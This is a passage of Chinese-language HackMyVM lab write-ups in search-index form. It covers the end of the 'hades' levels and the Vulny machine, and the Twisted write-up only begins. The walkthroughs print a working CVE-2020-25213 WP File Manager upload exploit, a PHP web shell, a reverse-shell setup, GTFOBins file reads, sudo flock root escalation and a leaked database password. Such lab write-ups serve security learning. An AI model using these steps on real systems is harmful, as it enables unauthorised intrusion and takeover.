","date":"2026-04-08","heading":"level36","objectID":"/p/hades/:36:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level36"},{"categories":["靶机复盘"],"collections":null,"content":"level37 ( 题目出的有问题了) ianthe@hades:~$ ls -al total 36 drwxr-x--- 2 root ianthe 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 ianthe ianthe 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 ianthe ianthe 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 ianthe ianthe 807 Apr 23 2023 .profile -rw-r----- 1 root ianthe 22 Apr 5 2024 flagz.txt -rw-r----- 1 root ianthe 214 Apr 5 2024 irene_auth.php.old -rw-r----- 1 root ianthe 248 Apr 5 2024 mission.txt ianthe@hades:~$ cat mission.txt ################ # MISSION 0x37 # ################ ## EN ## Seems that irene is developing an auth system http://localhost/irene_auth.php ## ES ## Parece que irene esta desarrollando algun sistema de autenticacion http://localhost/irene_auth.php ianthe@hades:~$ cat irene_auth.php.old \u003c?php $PAZZ = \"Sardina123\"; // Put real pass for irene. if(isset($_GET['pazz'])){ if(strcmp($PAZZ, $_GET['pazz']) == 0){ print $PAZZ; } else{ print(\"NOP\"); } } else { print(\"No pazz\"); } ?\u003e ianthe@hades:~$ curl -i -s http://localhost/irene_auth.php?pazz[]=1 HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 20 Mar 2026 06:40:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive ianthe@hades:~$ php -version PHP 8.2.7 (cli) (built: Jun 9 2023 19:37:27) (NTS) Copyright (c) The PHP Group Zend Engine v4.2.7, Copyright (c) Zend Technologies with Zend OPcache v8.2.7, Copyright (c), by Zend Technologies strcmp 是 5.3 的一个特性：strcmp 只接受字符串参数，如果我们输入数组，他会报错，但在报错的同时，返回0；php版本是8.2.7，所以此题不存在此漏洞，题目出的有问题了。 ","date":"2026-04-08","heading":"level37 ( 题目出的有问题了)","objectID":"/p/hades/:37:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level37--题目出的有问题了"},{"categories":["靶机复盘"],"collections":null,"content":"level38 irene@hades:~$ ls -al total 48 drwxr-x--- 2 root irene 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 irene irene 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 irene irene 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 irene irene 807 Apr 23 2023 .profile -rw-r----- 1 root irene 22 Apr 5 2024 flagz.txt ---s--s--- 1 root irene 16216 Apr 5 2024 hatechars -rw-r----- 1 root irene 145 Apr 5 2024 mission.txt irene@hades:~$ cat flagz.txt ^ZACnrFArVosWGJNfPkN^ irene@hades:~$ cat mission.txt ################ # MISSION 0x38 # ################ ## EN ## User iris hates some characters. ## ES ## La usuaria iris odia algunos caracteres. irene@hades:~$ ./hatechars Enter file to show: 1 /bin/cat: 1: No such file or directory irene@hades:/etc$ find / -user iris 2\u003e/dev/null /etc/met.txt irene@hades:/etc$ /pwned/irene/hatechars Enter file to show: $(pwd)/??????? FiqGNcXumTKwLTPRqXMh # 这里会输出很多 ","date":"2026-04-08","heading":"level38","objectID":"/p/hades/:38:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level38"},{"categories":["靶机复盘"],"collections":null,"content":"level39 iris@hades:~$ ls -al total 32 drwxr-x--- 2 root iris 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 iris iris 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 iris iris 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 iris iris 807 Apr 23 2023 .profile -rw-r----- 1 root iris 22 Apr 5 2024 flagz.txt -rw-r----- 1 root iris 137 Apr 5 2024 mission.txt iris@hades:~$ cat flagz.txt ^xXcULtRBXxcHIUVxtXT^ iris@hades:~$ cat mission.txt ################ # MISSION 0x39 # ################ ## EN ## User kore likes to navigate! ## ES ## A la usuaria kore le gusta navegar! iris@hades:~$ sudo -l [sudo] password for iris: Sorry, user iris may not run sudo on hades. iris@hades:~$ find / -user iris 2\u003e/dev/null | grep -v \"proc\" /dev/pts/2 /etc/met.txt /pwned/iris/.bash_logout /pwned/iris/.bashrc /pwned/iris/.profile iris@hades:~$ find / -user kore 2\u003e/dev/null | grep -v \"proc\" /srv/kore_pass.txt /usr/bin/w3m iris@hades:~$ ls -al w3m ls: cannot access 'w3m': No such file or directory iris@hades:~$ ls -al /usr/bin/w3m -rwS--s--- 1 kore iris 1630888 Jan 29 2023 /usr/bin/w3m iris@hades:~$ w3m /srv/kore_pass.txt mdAXiSXteTPiGGTpmajP ","date":"2026-04-08","heading":"level39","objectID":"/p/hades/:39:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level39"},{"categories":["靶机复盘"],"collections":null,"content":"level40 kore@hades:~$ ls -al total 32 drwxr-x--- 2 root kore 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 kore kore 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 kore kore 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 kore kore 807 Apr 23 2023 .profile -rw-r----- 1 root kore 22 Apr 5 2024 flagz.txt -rw-r----- 1 root kore 156 Apr 5 2024 mission.txt kore@hades:~$ cat flagz.txt ^FEYohPSMjrxKzdLNxkQ^ kore@hades:~$ cat mission.txt ################ # MISSION 0x40 # ################ ## EN ## User leda always wanted to edit videos. ## ES ## La usuaria leda siempre quiso editar videos. kore@hades:~$ find / -user leda 2\u003e/dev/null /usr/bin/ffmpeg /etc/led kore@hades:~$ ffmpeg -f concat -i /etc/led -c:v hevc_nvenc 1.mp4 ffmpeg version 5.1.4-0+deb12u1 Copyright (c) 2000-2023 the FFmpeg developers built with gcc 12 (Debian 12.2.0-14) configuration: --prefix=/usr --extra-version=0+deb12u1 --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --arch=amd64 --enable-gpl --disable-stripping --enable-gnutls --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libcodec2 --enable-libdav1d --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libglslang --enable-libgme --enable-libgsm --enable-libjack --enable-libmp3lame --enable-libmysofa --enable-libopenjpeg --enable-libopenmpt --enable-libopus --enable-libpulse --enable-librabbitmq --enable-librist --enable-librubberband --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libsrt --enable-libssh --enable-libsvtav1 --enable-libtheora --enable-libtwolame --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx265 --enable-libxml2 --enable-libxvid --enable-libzimg --enable-libzmq --enable-libzvbi --enable-lv2 --enable-omx --enable-openal --enable-opencl --enable-opengl --enable-sdl2 --disable-sndio --enable-libjxl --enable-pocketsphinx --enable-librsvg --enable-libmfx --enable-libdc1394 --enable-libdrm --enable-libiec61883 --enable-chromaprint --enable-frei0r --enable-libx264 --enable-libplacebo --enable-librav1e --enable-shared libavutil 57. 28.100 / 57. 28.100 libavcodec 59. 37.100 / 59. 37.100 libavformat 59. 27.100 / 59. 27.100 libavdevice 59. 7.100 / 59. 7.100 libavfilter 8. 44.100 / 8. 44.100 libswscale 6. 7.100 / 6. 7.100 libswresample 4. 7.100 / 4. 7.100 libpostproc 56. 6.100 / 56. 6.100 [concat @ 0x555f85b51d80] Line 1: unknown keyword 'NODEVILINHELL' /etc/led: Invalid data found when processing input ffmpeg的攻击逐段解释： ffmpeg 调用 FFmpeg 程序。 -f concat 指定输入格式为 concat demuxer，也就是“拼接列表模式”。 它不是直接读单个视频，而是读一个“列表文件”。 -i concat.txt 指定输入文件是 concat.txt。 这个文件里一般会写要拼接的文件路径，例如： file 'part1.mp4' file 'part2.mp4' file 'part3.mp4' ​ FFmpeg 会按这个顺序读取这些片段。 -c:v hevc_nvenc 指定视频编码器使用 hevc_nvenc。 含义是： hevc：H.265/HEVC 编码 nvenc：使用 NVIDIA 显卡硬件编码 所以这是“用英伟达 GPU 把输出视频编码成 H.265”。 1.mp4 输出文件名。 ","date":"2026-04-08","heading":"level40","objectID":"/p/hades/:40:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level40"},{"categories":["靶机复盘"],"collections":null,"content":"level41 leda@hades:~$ ls -al total 32 drwxr-x--- 2 root leda 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 leda leda 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 leda leda 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 leda leda 807 Apr 23 2023 .profile -rw-r----- 1 root leda 22 Apr 5 2024 flagz.txt -rw-r----- 1 root leda 129 Apr 5 2024 mission.txt leda@hades:~$ cat flagze.txt cat: flagze.txt: No such file or directory leda@hades:~$ cat flagz.txt ^wHseqgzsZUNyruSnxnl^ leda@hades:~$ cat mission.txt ################ # MISSION 0x41 # ################ ## EN ## User maia hears everything. ## ES ## La usuaria maia lo oye todo. leda@hades:~$ sudo -l Matching Defaults entries for leda on hades: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty User leda may run the following commands on hades: (maia) NOPASSWD: /usr/bin/espeak # https://gtfobins.org/gtfobins/espeak/#file-read leda@hades:/tmp/123$ sudo -u maia /usr/bin/espeak -qXf /pwned/maia/flagz.txt Translate '^' Found: '_^' [s3:kVmfl,Eks] Found: 'g' [dZi:] Unpronouncable? 'ws' Found: 'w' [d'Vb@Lju:] Found: '_s' [E2s] Unpronouncable? 'dbt' Found: 'd' [di:] Found: 'b' [bi:] Found: 't' [ti:] Translate 'ci' 1 c [k] 22 c (i [s] 22 i (_ [i] 1 i [I] 44 XC) i (_ [aI] 43 c) i (_ [aI] Unpronouncable? 'xd' Found: 'x' [E2ks] Found: 'd' [di:] Unpronouncable? 'zd' Found: 'z' [zE2d] Found: 'd' [di:] Unpronouncable? 'nt' Found: 'n' [E2n] Found: 't' [ti:] Unpronouncable? 'rz' Found: 'r' [A@] Found: 'z' [zE2d] Unpronouncable? 'vgt' Found: 'v' [vi:] Found: 'g' [dZi:] Found: 't' [ti:] Translate '^' Found: '_^' [s3:kVmfl,Eks] dZ'i: d,Vb@Lj,u:'Es d,i:b,i:t'i: s'aI ,Eksd'i: z,Edd'i:; ,Ent'i:; ,A@z'Ed v,i:dZ,i:t'i: # ^gwsdbtcixdzdntrzvgt^ ","date":"2026-04-08","heading":"level41","objectID":"/p/hades/:41:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level41"},{"categories":["靶机复盘"],"collections":null,"content":"level42 ","date":"2026-04-08","heading":"level42","objectID":"/p/hades/:42:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level42"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 Vulny 的渗透测试与提权记录","date":"2026-04-08","objectID":"/p/vulny/","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/"},{"categories":["靶机复盘"],"collections":null,"content":" 靶机名称 作者 难度 平台 Vulny sml 简单 HackMyVm ","date":"2026-04-08","heading":"","objectID":"/p/vulny/:0:0","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#"},{"categories":["靶机复盘"],"collections":null,"content":"网络配置 我主要是在VM上导入虚拟机，VM的虚拟网卡名称为ens33，我们要进入紧急模式，修改虚拟网卡名称，这样我们才能获得ip。 打开虚拟机，进入虚拟机，立即长按shift，等到页面发生变化: 按 e 进入编辑模式，将内容修改为： 按ctrl - x。 ubuntu的网络配置在/etc/netplan文件夹里面，将网卡改为ens33即可： 重启虚拟机，我们就可以获得IP。 ","date":"2026-04-08","heading":"网络配置","objectID":"/p/vulny/:1:0","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#网络配置"},{"categories":["靶机复盘"],"collections":null,"content":"侦察 ","date":"2026-04-08","heading":"侦察","objectID":"/p/vulny/:2:0","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#侦察"},{"categories":["靶机复盘"],"collections":null,"content":"端口扫描 warn@kali:~$ nmap -sC -sV 192.168.174.138 Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-05 09:58 CST Nmap scan report for 192.168.174.138 Host is up (0.00011s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.41 (Ubuntu) MAC Address: 00:0C:29:95:C7:F0 (VMware) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds ","date":"2026-04-08","heading":"端口扫描","objectID":"/p/vulny/:2:1","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#端口扫描"},{"categories":["靶机复盘"],"collections":null,"content":"web应用分析 发现80端口是一个默认的apache2 的界面： ","date":"2026-04-08","heading":"web应用分析","objectID":"/p/vulny/:2:2","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#web应用分析"},{"categories":["靶机复盘"],"collections":null,"content":"目录枚举 warn@kali:~$ gobuster dir -u http://192.168.174.138/ -w /usr/share/dirb/wordlists/common.txt =============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) \u0026 Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.174.138/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.hta (Status: 403) [Size: 280] /.htpasswd (Status: 403) [Size: 280] /.htaccess (Status: 403) [Size: 280] /index.html (Status: 200) [Size: 10918] /javascript (Status: 301) [Size: 323] [--\u003e http://192.168.174.138/javascript/] /secret (Status: 301) [Size: 319] [--\u003e http://192.168.174.138/secret/] /server-status (Status: 403) [Size: 280] Progress: 4613 / 4613 (100.00%) =============================================================== Finished =============================================================== warn@kali:/tmp/123$ curl -i -s http://192.168.174.138/secret/ HTTP/1.0 404 Not Found Date: Sun, 05 Apr 2026 02:04:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 225 Connection: close Content-Type: text/html; charset=UTF-8 Neither /etc/wordpress/config-192.168.174.138.php nor /etc/wordpress/config-168.174.138.php could be found. Ensure one of them exists, is readable by the webserver and contains the right password/username. # 在/secret目录下存在wordpress # 没有找到配置文件 # 对/secret目录再次进行目录枚举(我当时思想上有些浮躁，没有想到这一步。) warn@kali:/tmp/123$ gobuster dir -u http://192.168.174.138/secret -w /usr/share/dirb/wordlists/common.txt =============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) \u0026 Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.174.138/secret [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.hta (Status: 403) [Size: 280] /.htaccess (Status: 403) [Size: 280] /.htpasswd (Status: 403) [Size: 280] /wp-admin (Status: 301) [Size: 328] [--\u003e http://192.168.174.138/secret/wp-admin/] /wp-includes (Status: 301) [Size: 331] [--\u003e http://192.168.174.138/secret/wp-includes/] /wp-content (Status: 301) [Size: 330] [--\u003e http://192.168.174.138/secret/wp-content/] Progress: 4613 / 4613 (100.00%) =============================================================== Finished =============================================================== # 进行访问，只在wp-content目录下发现内容 在http://192.168.174.138/secret/wp-content/uploads/2020/10/wp-file-manager-6.O.zip找到wp-file-manager-6.0的压缩文件。它是wordpress的一个插件，网上搜索发现wp-file-manager-6.0存在CVE-2020-25213高危漏洞。 ","date":"2026-04-08","heading":"目录枚举","objectID":"/p/vulny/:2:3","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#目录枚举"},{"categories":["靶机复盘"],"collections":null,"content":"漏洞分析(CVE-2020-25213) CVE-2020-25213 WP File Manger 未授权文件上传漏洞 漏洞位于：/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php。 ","date":"2026-04-08","heading":"漏洞分析(CVE-2020-25213)","objectID":"/p/vulny/:3:0","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#漏洞分析cve-2020-25213"},{"categories":["靶机复盘"],"collections":null,"content":"漏洞的核心特征 无认证校验：无nonce验证、无登陆校验、无权限判断，可直接未授权访问。 无文件类型限制：配置uploadAllow =\u0026gt; array('all')，允许上传任意文件（包含PHP）。 支持cmd=upload上传参数，可直接上传恶意脚本。 ","date":"2026-04-08","heading":"","objectID":"/p/vulny/:3:1","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#漏洞的核心特征"},{"categories":["靶机复盘"],"collections":null,"content":"漏洞验证 warn@kali:/tmp/123/wp-file-manager/lib/php$ curl -i http://192.168.174.138/secret/wp-content/plugins/wp-file- manager/lib/php/connector.minimal.php HTTP/1.1 200 OK Date: Sun, 05 Apr 2026 02:35:15 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=r2an93p7looluvki33rjtt8mfv; path=/ Content-Length: 27 Content-Type: application/json; charset=utf-8 {\"error\":[\"errUnknownCmd\"]} 访问 200，漏洞点存在。 ","date":"2026-04-08","heading":"","objectID":"/p/vulny/:3:2","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#漏洞验证"},{"categories":["靶机复盘"],"collections":null,"content":"初始权限获取 ","date":"2026-04-08","heading":"初始权限获取","objectID":"/p/vulny/:4:0","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#初始权限获取"},{"categories":["靶机复盘"],"collections":null,"content":"制作payload vim cmd.php \u003c?php system($_POST['cmd']); ?\u003e ","date":"2026-04-08","heading":"","objectID":"/p/vulny/:4:1","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#制作payload"},{"categories":["靶机复盘"],"collections":null,"content":"文件上传 curl -X POST -F 'cmd=upload' -F 'target=l1_Lw' -F 'upload[]=@cmd.php' 'http://192.168.174.138/secret/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php' warn@kali:/tmp/123$ curl -X POST -F 'cmd=upload' -F 'target=l1_Lw' -F 'upload[]=@cmd.php' 'http://192.168.174.138/secret/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php' {\"added\":[{\"isowner\":false,\"ts\":1775357060,\"mime\":\"text\\/x-php\",\"read\":1,\"write\":1,\"size\":\"32\",\"hash\":\"l1_Y21kLnBocA\",\"name\":\"cmd.php\",\"phash\":\"l1_Lw\",\"url\":\"\\/secret\\/wp-content\\/plugins\\/wp-file-manager\\/lib\\/php\\/..\\/files\\/cmd.php\"}],\"removed\":[],\"changed\":[{\"isowner\":false,\"ts\":1775350468,\"mime\":\"directory\",\"read\":1,\"write\":1,\"size\":0,\"hash\":\"l1_Lw\",\"name\":\"files\",\"rootRev\":\"\",\"options\":{\"path\":\"\",\"url\":\"\",\"tmbUrl\":\"\",\"disabled\":[],\"separator\":\"\\/\",\"copyOverwrite\":1,\"uploadOverwrite\":1,\"uploadMaxSize\":9223372036854775807,\"uploadMaxConn\":3,\"uploadMime\":{\"firstOrder\":\"deny\",\"allow\":[\"all\"],\"deny\":[\"all\"]},\"dispInlineRegex\":\"^(?:(?:video|audio)|image\\/(?!.+\\\\+xml)|application\\/(?:ogg|x-mpegURL|dash\\\\+xml)|(?:text\\/plain|application\\/pdf)$)\",\"jpgQuality\":100,\"archivers\":{\"create\":[],\"extract\":[],\"createext\":[]},\"uiCmdMap\":[],\"syncChkAsTs\":1,\"syncMinMs\":0,\"i18nFolderName\":0,\"tmbCrop\":1,\"tmbReqCustomData\":false,\"substituteImg\":true,\"onetimeUrl\":true,\"trashHash\":\"t1_Lw\",\"csscls\":\"elfinder-navbar-root-local\"},\"volumeid\":\"l1_\",\"locked\":1,\"isroot\":1,\"phash\":\"\"}]} ","date":"2026-04-08","heading":"","objectID":"/p/vulny/:4:2","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#文件上传"},{"categories":["靶机复盘"],"collections":null,"content":"验证远程代码执行 warn@kali:/tmp/123$ curl -i -s http://192.168.174.138/secret/wp-content/plugins/wp-file-manager/lib/files/cmd.php -X POST -d \"cmd=id\" HTTP/1.1 200 OK Date: Sun, 05 Apr 2026 02:46:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 54 Content-Type: text/html; charset=UTF-8 uid=33(www-data) gid=33(www-data) groups=33(www-data) ","date":"2026-04-08","heading":"","objectID":"/p/vulny/:4:3","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#验证远程代码执行"},{"categories":["靶机复盘"],"collections":null,"content":"反弹shell warn@kali:/tmp/123$ cp ~/Desktop/tools/php-reverse-shell.php test.php warn@kali:/tmp/123$ curl -X POST -F 'cmd=upload' -F 'target=l1_Lw' -F 'upload[]=@test.php' 'http://192.168.174.138/secret/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php' {\"added\":[{\"isowner\":false,\"ts\":1775357465,\"mime\":\"text\\/x-php\",\"read\":1,\"write\":1,\"size\":\"5498\",\"hash\":\"l1_dGVzdC5waHA\",\"name\":\"test.php\",\"phash\":\"l1_Lw\",\"url\":\"\\/secret\\/wp-content\\/plugins\\/wp-file-manager\\/lib\\/php\\/..\\/files\\/test.php\"}],\"removed\":[\"l1_dGVzdC5waHA\"],\"changed\":[{\"isowner\":false,\"ts\":1775357060,\"mime\":\"directory\",\"read\":1,\"write\":1,\"size\":0,\"hash\":\"l1_Lw\",\"name\":\"files\",\"rootRev\":\"\",\"options\":{\"path\":\"\",\"url\":\"\",\"tmbUrl\":\"\",\"disabled\":[],\"separator\":\"\\/\",\"copyOverwrite\":1,\"uploadOverwrite\":1,\"uploadMaxSize\":9223372036854775807,\"uploadMaxConn\":3,\"uploadMime\":{\"firstOrder\":\"deny\",\"allow\":[\"all\"],\"deny\":[\"all\"]},\"dispInlineRegex\":\"^(?:(?:video|audio)|image\\/(?!.+\\\\+xml)|application\\/(?:ogg|x-mpegURL|dash\\\\+xml)|(?:text\\/plain|application\\/pdf)$)\",\"jpgQuality\":100,\"archivers\":{\"create\":[],\"extract\":[],\"createext\":[]},\"uiCmdMap\":[],\"syncChkAsTs\":1,\"syncMinMs\":0,\"i18nFolderName\":0,\"tmbCrop\":1,\"tmbReqCustomData\":false,\"substituteImg\":true,\"onetimeUrl\":true,\"trashHash\":\"t1_Lw\",\"csscls\":\"elfinder-navbar-root-local\"},\"volumeid\":\"l1_\",\"locked\":1,\"isroot\":1,\"phash\":\"\"}]} # 先进行端口监听 warn@kali:~$ nc -lvvnp 39666 # 这是在两个终端 warn@kali:/tmp/123$ curl -i -s http://192.168.174.138/secret/wp-content/plugins/wp-file-manager/lib/files/test.php ","date":"2026-04-08","heading":"反弹shell","objectID":"/p/vulny/:4:4","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#反弹shell"},{"categories":["靶机复盘"],"collections":null,"content":"优化交互式shell warn@kali:~$ nc -lvvnp 39666 listening on [any] 39666 ... connect to [192.168.174.130] from (UNKNOWN) [192.168.174.138] 34458 Linux vulny 5.4.0-51-generic #56-Ubuntu SMP Mon Oct 5 14:28:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 03:20:27 up 1:23, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off # 这还不是一个半交互式shell # 我们先将shell升级为半交互式shell # 再升级为全交互式shell $ python3 -c \"import pty; pty.spawn('/bin/bash')\" www-data@vulny:/$ ^Z zsh: suspended nc -lvvnp 39666 # 这里按ctrl+Z warn@kali:~$ stty raw -echo; fg [1] + continued nc -lvvnp 39666 ls bin dev lib libx32 mnt root snap sys var boot etc lib32 lost+found opt run srv tmp cdrom home lib64 media proc sbin swap.img usr www-data@vulny:/$ ls bin dev lib libx32 mnt root snap sys var boot etc lib32 lost+found opt run srv tmp cdrom home lib64 media proc sbin swap.img usr www-data@vulny:/$ # 这样我们就可以享受到全交互shell的功能了，很好用的。 ","date":"2026-04-08","heading":"","objectID":"/p/vulny/:4:5","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#优化交互式shell"},{"categories":["靶机复盘"],"collections":null,"content":"纵向移动 ","date":"2026-04-08","heading":"纵向移动","objectID":"/p/vulny/:5:0","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#纵向移动"},{"categories":["靶机复盘"],"collections":null,"content":"系统信息枚举 www-data@vulny:/home$ ls adrian www-data@vulny:/home$ ls adrian user.txt www-data@vulny:/home$ ls -al adrian total 40 drwxr-xr-x 4 adrian adrian 4096 Apr 5 01:18 . drwxr-xr-x 3 root root 4096 Oct 15 2020 .. -rw------- 1 adrian adrian 51 Oct 15 2020 .Xauthority -rw------- 1 adrian adrian 89 Apr 5 01:18 .bash_history -rw-r--r-- 1 adrian adrian 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 adrian adrian 3771 Feb 25 2020 .bashrc drwx------ 2 adrian adrian 4096 Oct 15 2020 .cache drwxrwxr-x 3 adrian adrian 4096 Oct 15 2020 .local -rw-r--r-- 1 adrian adrian 807 Feb 25 2020 .profile -rw-r--r-- 1 adrian adrian 0 Oct 15 2020 .sudo_as_admin_successful -rw------- 1 adrian adrian 16 Oct 15 2020 user.txt /home 发现adrian用户，在adrian目录下发现.sudo_as_admin_successful文件，说明该用户拥有sudo权限。 我们现在的目标就是：获取adrian权限。 查看wordpress的配置文件 www-data@vulny:/etc/wordpress$ cat config-192.168.1.122.php \u003c?php define('DB_NAME', 'wordpress'); define('DB_USER', 'wordpress'); define('DB_PASSWORD', 'myfuckingpassword'); define('DB_HOST', 'localhost'); define('DB_COLLATE', 'utf8_general_ci'); define('WP_CONTENT_DIR', '/usr/share/wordpress/wp-content'); ?\u003e # 发现/usr/share/wordpress/wp-content # 在/usr/share/wordpress发现wordpress运行时的主配置入口wp-config.php # 查看文件，发现一段奇怪的内容 www-data@vulny:/usr/share/wordpress$ cat wp-config.php /* idrink[hidden] */ # 避免密码泄露，所以我只显示了一部分。 # 这可能是密码。 /* Default value for some constants if they have not yet been set by the host-specific config files */ ","date":"2026-04-08","heading":"","objectID":"/p/vulny/:5:1","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#系统信息枚举"},{"categories":["靶机复盘"],"collections":null,"content":"切换至adrian用户 www-data@vulny:/usr/share/wordpress$ su adrian Password: adrian@vulny:/usr/share/wordpress$ sudo -l Matching Defaults entries for adrian on vulny: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User adrian may run the following commands on vulny: (ALL : ALL) NOPASSWD: /usr/bin/flock ","date":"2026-04-08","heading":"","objectID":"/p/vulny/:5:2","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#切换至"},{"categories":["靶机复盘"],"collections":null,"content":"sudo提权至root权限 adrian@vulny:/usr/share/wordpress$ sudo flock -u / /bin/bash root@vulny:/usr/share/wordpress# id uid=0(root) gid=0(root) groups=0(root) ","date":"2026-04-08","heading":"","objectID":"/p/vulny/:5:3","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#sudo提权至root权限"},{"categories":["靶机复盘"],"collections":null,"content":"获得flag root@vulny:/usr/share/wordpress# cat ~/root.txt HMVididit root@vulny:/usr/share/wordpress# cat /home/adrian/user.txt HMViuploadfiles ","date":"2026-04-08","heading":"","objectID":"/p/vulny/:5:4","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#获得flag"},{"categories":["靶机复盘"],"collections":null,"content":"总结 这是我目前打过的第一个带有CVE漏洞的，目前的思路还是比较欠缺的。 这里主要说一下思路上的问题：对于目录扫描，我只会扫描浅浅的一层，可能我昨天确实比较浮躁，并没有好好做这个靶场，这是第一点；当我打入内网后，我知道我最终要达到什么结果，我尝试了我已经知道的任何操作，都无法获得adrian的权限，在获取内网信息方面，我的能力还是不行。 这个是优化shell的方法，详细版：CSDN ","date":"2026-04-08","heading":"总结","objectID":"/p/vulny/:6:0","tags":["HackMyVM","Easy"],"title":"Vulny","uri":"/p/vulny/#总结"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 Twisted 的渗透测试与提权记录","date":"2026-04-08","objectID":"/p/twisted/","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/"},{"categories":["靶机复盘"],"collections":null,"content":" 靶机名称 作者 难易程度 平台 Twisted sml 初级 HackMyVM ","date":"2026-04-08","heading":"","objectID":"/p/twisted/:0:0","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#"},{"categories":["靶机复盘"],"collections":null,"content":"侦察 ","date":"2026-04-08","heading":"侦察","objectID":"/p/twisted/:1:0","tags":["HackMyVM","Easy"],"title":"Twisted","uri":"/p/twisted/#侦察"},{"categories":["靶机复盘"],"collections":null,"content":"端口扫描 # 进行TCP端口扫描 